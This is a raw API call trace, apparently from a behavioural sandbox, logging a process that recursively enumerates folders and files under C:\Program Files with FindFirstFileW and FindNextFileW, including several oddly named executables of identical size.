	[0257.996] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0258.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0258.002] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.002] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabfbfaa0, ftCreationTime.dwHighDateTime=0x1d529fd, ftLastAccessTime.dwLowDateTime=0xb9d6f750, ftLastAccessTime.dwHighDateTime=0x1d4f759, ftLastWriteTime.dwLowDateTime=0xb9d6f750, ftLastWriteTime.dwHighDateTime=0x1d4f759, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="donated.exe", cAlternateFileName="")) returned 1
	[0258.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0258.003] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.003] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1
	[0258.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0258.003] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.003] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0258.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0258.003] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.003] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1
	[0258.003] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0258.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0258.004] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0258.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0258.004] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.004] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1
	[0258.004] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0258.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0258.004] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0258.004] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0258.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0258.004] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0258.004] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0258.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0258.004] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfcbb0, ftCreationTime.dwHighDateTime=0x1d52d5f, ftLastAccessTime.dwLowDateTime=0x4b1b6700, ftLastAccessTime.dwHighDateTime=0x1d4dae5, ftLastWriteTime.dwLowDateTime=0x4b1b6700, ftLastWriteTime.dwHighDateTime=0x1d4dae5, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="packagevolkswagen.exe", cAlternateFileName="PACKAG~1.EXE")) returned 1
	[0258.004] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0258.004] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0258.004] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf919df40, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf919df40, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0258.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf919df40, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf919df40, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0258.005] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf919df40, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf919df40, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.005] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d9f7a0, ftCreationTime.dwHighDateTime=0x1d52d01, ftLastAccessTime.dwLowDateTime=0x60f491a0, ftLastAccessTime.dwHighDateTime=0x1d4b975, ftLastWriteTime.dwLowDateTime=0x60f491a0, ftLastWriteTime.dwHighDateTime=0x1d4b975, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="commissioners_o_tiny.exe", cAlternateFileName="COMMIS~1.EXE")) returned 1
	[0258.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0258.005] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.005] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1
	[0258.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0258.005] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.005] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0258.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0258.005] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.005] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1
	[0258.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2290
	[0258.006] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.006] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1
	[0258.006] FindClose (in: hFindFile=0x41b2290 | out: hFindFile=0x41b2290) returned 1
	[0258.006] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x421dcf0 | out: hHeap=0x4a0000) returned 1
	[0258.006] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0258.007] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0258.007] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0258.007] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0258.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0258.007] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.007] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1
	[0258.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2290
	[0258.008] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.008] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1
	[0258.008] FindClose (in: hFindFile=0x41b2290 | out: hFindFile=0x41b2290) returned 1
